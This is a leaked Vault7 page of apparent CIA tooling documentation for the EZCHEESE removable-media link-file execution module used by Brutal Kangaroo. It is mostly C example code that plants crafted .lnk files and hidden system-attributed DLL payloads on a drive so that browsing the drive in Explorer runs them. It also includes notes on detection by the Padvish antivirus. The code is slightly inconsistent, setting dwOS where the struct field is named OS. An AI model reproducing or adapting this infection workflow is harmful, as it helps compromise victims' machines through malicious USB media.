Vault7: CIA Hacking Tools Revealed
Navigation: » Latest version
Removable Media Link File Execution (EZCHEESE - OSB Module)
SECRET//NOFORN
OSB Library: Execution Vectors
Removable Media Link File Execution:
PSP/OS Issues:
- Iranian PSPPersonal Security Product (Anti-Virus) Padvish (TAOTailored Access Operation says it gets caught 7/14).
List Of Tools Using This Code: Brutal Kangaroo
Description: Given a path and a linked list of link files to generate, this module creates the link files and dlls on a target drive. When the link files are viewed in explorer the machine is exploited and the architecture specific dll is executed. This module uses the symbolic link strings (universal) for drives that present themselves as DRIVE_FIXED.
Notes:
- Will not infect drives that present themselves as DRIVE_FIXED.
- May be an issue with some SD cards or SD card readers. If the reader presents itself as the device, the symbolic link will most likely not work.
- Iranian PSPPersonal Security Product (Anti-Virus) Padvish specifically looks for link files on removable media and tends to catch most of them (this method included for now).
Infect Structure (pvClassStruct):
enum eOS : unsigned char
{
XPA = 1,
XPB = 2,
Vista = 3,
SevenEight = 4
};
//Note: Architecture is not checked by the code itself and is used only for the user to keep track of what the structure contains
enum eArch : unsigned char
{
x86 = 0,
x64 = 1
};
struct REMOVABLEMEDIALINK_EZC_NODE
{
enum eOS OS;
enum eArch Arch;
WCHAR *wcLinkName;
WCHAR *wcLinkTarget;
LPBYTE lpbPayload;
DWORD dwPayloadLen;
DWORD dwPayloadAttribs;
REMOVABLEMEDIALINK_EZC_NODE *pstNextNode;
};
Example Use Code:
VOID EVRemovableMediaLink_EZC_ExampleMain()
{
ExecutionVectors *evVector = new EVIRemovableMediaLink_EZC();
//Create Linked List of Options
PREMOVABLEMEDIALINK_EZC_LIST pList = NULL;
//Create Node 1 XPA 32-bit
PREMOVABLEMEDIALINK_EZC_NODE pNode1;
AllocAndClearNode(pNode1);
pNode1->dwOS = XPA;
pNode1->wcLinkName = (WCHAR *) malloc(MAX_PATH);
wsprintf(pNode1->wcLinkName, L"XPA.lnk");
pNode1->wcLinkTarget = (WCHAR *) malloc(MAX_PATH);
wsprintf(pNode1->wcLinkTarget, L"E:\\MyFolder\\dllfolder\\32.dll");
pNode1->lpbPayload = byPayload32;
pNode1->dwPayloadLen = dwPayload32Len;
pNode1->dwPayloadAttribs = FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM;
AddNode(pList, pNode1);
//Create Node 2 XPB 32-bit
PREMOVABLEMEDIALINK_EZC_NODE pNode2;
AllocAndClearNode(pNode2);
pNode2->dwOS = XPB;
pNode2->wcLinkName = (WCHAR *) malloc(MAX_PATH);
wsprintf(pNode2->wcLinkName, L"XPB.lnk");
pNode2->wcLinkTarget = (WCHAR *) malloc(MAX_PATH);
wsprintf(pNode2->wcLinkTarget, L"E:\\MyFolder\\dllfolder\\32.dll");
pNode2->lpbPayload = byPayload32;
pNode2->dwPayloadLen = dwPayload32Len;
pNode2->dwPayloadAttribs = FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM;
AddNode(pList, pNode2);
//Create Node 3 Vista 32-bit
PREMOVABLEMEDIALINK_EZC_NODE pNode3;
AllocAndClearNode(pNode3);
pNode3->dwOS = Vista;
pNode3->wcLinkName = (WCHAR *) malloc(MAX_PATH);
wsprintf(pNode3->wcLinkName, L"Vista32.lnk");
pNode3->wcLinkTarget = (WCHAR *) malloc(MAX_PATH);
wsprintf(pNode3->wcLinkTarget, L"E:\\MyFolder\\dllfolder\\32.dll");
pNode3->lpbPayload = byPayload32;
pNode3->dwPayloadLen = dwPayload32Len;
pNode3->dwPayloadAttribs = FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM;
AddNode(pList, pNode3);
//Create Node 4 Vista 64-bit
PREMOVABLEMEDIALINK_EZC_NODE pNode4;
AllocAndClearNode(pNode4);
pNode4->dwOS = Vista;
pNode4->wcLinkName = (WCHAR *) malloc(MAX_PATH);
wsprintf(pNode4->wcLinkName, L"Vista64.lnk");
pNode4->wcLinkTarget = (WCHAR *) malloc(MAX_PATH);
wsprintf(pNode4->wcLinkTarget, L"E:\\MyFolder\\dllfolder\\64.dll");
pNode4->lpbPayload = byPayload64;
pNode4->dwPayloadLen = dwPayload64Len;
pNode4->dwPayloadAttribs = FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM;
AddNode(pList, pNode4);
//Create Node 5 Seven/Eight 32-bit
PREMOVABLEMEDIALINK_EZC_NODE pNode5;
AllocAndClearNode(pNode5);
pNode5->dwOS = SevenEight;
pNode5->wcLinkName = (WCHAR *) malloc(MAX_PATH);
wsprintf(pNode5->wcLinkName, L"732.lnk");
pNode5->wcLinkTarget = (WCHAR *) malloc(MAX_PATH);
wsprintf(pNode5->wcLinkTarget, L"E:\\MyFolder\\dllfolder\\32.dll");
pNode5->lpbPayload = byPayload32;
pNode5->dwPayloadLen = dwPayload32Len;
pNode5->dwPayloadAttribs = FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM;
AddNode(pList, pNode5);
//Create Node 6 Seven/Eight 64-bit
PREMOVABLEMEDIALINK_EZC_NODE pNode6;
AllocAndClearNode(pNode6);
pNode6->dwOS = SevenEight;
pNode6->wcLinkName = (WCHAR *) malloc(MAX_PATH);
wsprintf(pNode6->wcLinkName, L"764.lnk");
pNode6->wcLinkTarget = (WCHAR *) malloc(MAX_PATH);
wsprintf(pNode6->wcLinkTarget, L"E:\\MyFolder\\dllfolder\\64.dll");
pNode6->lpbPayload = byPayload64;
pNode6->dwPayloadLen = dwPayload64Len;
pNode6->dwPayloadAttribs = FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM;
AddNode(pList, pNode6);
//Infect the following path
EVRET evRet = evVector->Infect(L"E:\\test\\createdir", pList);
//Print success or fail
if(SUCCEEDED(evRet)) printf("Success!\n");
else printf("Failed!\n");
//Cleanup Linked List
ClearList(pList);
delete evVector;
return;
}
BOOL AllocAndClearNode(PREMOVABLEMEDIALINK_EZC_NODE &pNode)
{
//Allocates memory for (and zeros out) a node
pNode = NULL;
pNode = (PREMOVABLEMEDIALINK_EZC_NODE) malloc(sizeof(REMOVABLEMEDIALINK_EZC_NODE));
SecureZeroMemory(pNode, sizeof(REMOVABLEMEDIALINK_EZC_NODE));
return TRUE;
}
BOOL AddNode(PREMOVABLEMEDIALINK_EZC_LIST &pList, PREMOVABLEMEDIALINK_EZC_NODE pNode)
{
//Add a node to the list
if(pNode == NULL) return FALSE;
//point the next node at the beginning of the list
pNode->pstNextNode = pList;
pList = pNode; //reset head of list to the new node
return TRUE;
}
BOOL ClearList(PREMOVABLEMEDIALINK_EZC_LIST &pList)
{
//Cleanup the linked list
if(pList == NULL) return TRUE;
PREMOVABLEMEDIALINK_EZC_LIST pCurrentNode = pList;
while(pCurrentNode != NULL)
{
//Free all data in the struct
/*if(pCurrentNode->lpbPayload) free(pCurrentNode->lpbPayload);*/
if(pCurrentNode->wcLinkName) free(pCurrentNode->wcLinkName);
if(pCurrentNode->wcLinkTarget) free(pCurrentNode->wcLinkTarget);
SecureZeroMemory(pCurrentNode, sizeof(REMOVABLEMEDIALINK_EZC_NODE)); //Clear the struct
//free the node
PREMOVABLEMEDIALINK_EZC_NODE pTempNode = pCurrentNode;
pCurrentNode = pCurrentNode->pstNextNode;
free(pTempNode);
}
pList = NULL;
return TRUE;
}
SECRET//NOFORN